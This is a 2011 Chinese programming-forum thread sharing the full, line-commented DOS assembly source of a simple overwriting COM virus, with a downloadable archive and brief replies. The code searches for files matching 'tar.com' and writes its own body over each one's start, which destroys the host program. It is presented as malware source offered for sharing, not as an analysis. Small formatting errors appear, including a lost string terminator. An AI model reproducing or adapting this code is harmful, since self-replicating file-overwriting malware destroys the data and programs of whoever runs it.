鱼C论坛

 找回密码
 立即注册
查看: 3645|回复: 4

[技术交流] 最简单COM覆盖型病毒

[复制链接]
发表于 2011-10-11 22:49:46 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能^_^

您需要 登录 才可以下载或查看,没有账号?立即注册

x
本帖最后由 cyousui 于 2011-10-11 23:00 编辑
  1. .model tiny
  2. .code
  3. org 100h
  4. start:
  5. setdta:        ;设置DTA
  6.                 lea dx,dta                ;将DTA的起始地址赋给dx
  7.                 mov ah,1ah                ;1ah功能调用,设置DTA地址,调用参数 ds:dx=DTA地址
  8.                 int 21h                        ;DOS中断调用
  9. findf:        ;查找文件
  10.                 mov ah,4eh                ;4eh功能调用,查找匹配文件,参数 ds:dx=ASCII串地址,cx属性
  11.                 lea dx,fname        ;将文件名地址赋给dx
  12.                 mov cx,7                ;指定查找文件类型,7表示查找所有文件
  13. nextf:        int 21h                        ;DOS中断调用
  14.                 jc        notfind                ;处理没有找到文件,jc是当CF=1时跳转
  15. dispfn:        ;显示文件
  16.                 lea dx,[dta+30]        ;打印文件,位置在它偏移30个字节的地方
  17.                 push ax                        ;这里要使用ax,保存之前ax中内用
  18.                 mov ah,09h                ;09h号功能调用,显示字符串,调用参数 ds:dx=串地址,字符串以'
  19. 结尾
  20.                 int 21h                        ;DOS中断调用
  21.                 pop ax                        ;还原ax内容
  22. openf:        ;打开文件        
  23.                 mov ax,3d02h        ;3dh功能调用,调用参数 ds:dx=ASCII串地址,al=访问文件共享方式,0=读,1=写,2=读/写
  24.                                                 ;若调用成功,返回参数ax=文件句柄
  25.                 ;此处设置DX指向要操作的文件名,因为上面显示文件功能已经
  26.                 ;设置了DX的指向,这里就不用再次设置了
  27.                 int 21h                        ;DOS中断调用
  28.                 jc notopen                ;当CF=1时文件没有打开跳转到notopen
  29.                 xchg ax,bx                ;将打开文件功能调用的出口参数(文件句柄)
  30. pointf:        ;定义文件读写指针
  31.                 mov ax,4200h        ;42h功能调用,移动文件指针,调用参数bx=文件代号,cx:dx=位移量,al=移动方式
  32.                 xor cx,cx                ;将cx清零,代表偏移量的高位
  33.                 xor dx,dx                ;将dx清零,代表偏移量的低位
  34.                 int 21h                        ;DOS中断调用,偏移量都为零,说明从文件的最开始处覆盖,若成功 dx:ax=新指针位置;失败则 ax=错误码
  35.                 jc        notpoint        ;当CF=1时设置错误就跳转到notpoint
  36.                 mov filesize,ax        ;将文件的大小赋到内存单元中,ax是42号功能调用的出口参数
  37. writef:        ;写文件
  38.                 mov ah,40h                ;40h调用,写文件或设备,ds:dx=数据缓冲区地址,bx=文件代号,cx=写入的字节数;若调用成功返回ax=实际实际写入的字节数
  39.                 mov cx,filelen        ;把要写入文件的长度保存到cx中(病毒自身长度)
  40.                 lea        dx,start        ;将病毒的起始地址存到dx当中
  41.                 int 21h                        ;DOS中断调用
  42.                 jc        notwrite        ;当CF=1写入文件失败跳转到notwrite
  43. closef:        ;关闭文件
  44.                 mov ah,3eh                ;3eh功能调用,关闭文件,bx=文件句柄
  45.                 int 21h                        ;DOS中断
  46.                 jc notclose                ;当CF=1时文件关闭失败跳转到notclose
  47. findnext:;查找下一个文件
  48.                 mov ax,4fh                ;4fh调用,查找下一匹配文件,调用参数 DAT保留4eh的原始信息
  49.                 jmp        nextf                ;跳回继续查找文件

  50. notfind:
  51. notopen:
  52. notpoint:
  53. notwrite:
  54. notclose:
  55. quit:        ;退出程序
  56.                         mov ah,4ch        ;4ch调用,带返回码终止,参数 al=返回码
  57.                         int 21h
  58.                         
  59. dta                db        44        dup(0)        ;定义一个44字节的缓冲区
  60.                         db        '
  61.                         ;字符串的结束符,9号功能调用要用到
  62. fname                db        'tar.com'        ;感染宿主程序名
  63. filesize        dw        ?                        ;宿主程序文件长度
  64. filelen        equ        $-start                ;当前的偏移量($(已经到了文件的末尾了))-病毒的起始偏移量(start)
  65. end start
复制代码
virus_overwrite.rar (1.58 KB, 下载次数: 12)

评分

参与人数 1荣誉 +6 收起 理由
小甲鱼 + 6 谢谢分享!

查看全部评分

小甲鱼最新课程 -> https://ilovefishc.com
发表于 2011-10-11 22:56:39 | 显示全部楼层
要是完善了,也不错
小甲鱼最新课程 -> https://ilovefishc.com
发表于 2011-10-11 23:06:37 | 显示全部楼层
看不懂 啊~
小甲鱼最新课程 -> https://ilovefishc.com
发表于 2011-10-12 17:48:44 | 显示全部楼层
DOS下的病毒很容易实现,就是覆盖然后抢中断。
WIN下的就要很多功夫啦~
小甲鱼最新课程 -> https://ilovefishc.com
发表于 2011-10-13 20:56:56 | 显示全部楼层
暂时看不懂@@@@
小甲鱼最新课程 -> https://ilovefishc.com
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2025-4-22 09:39

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表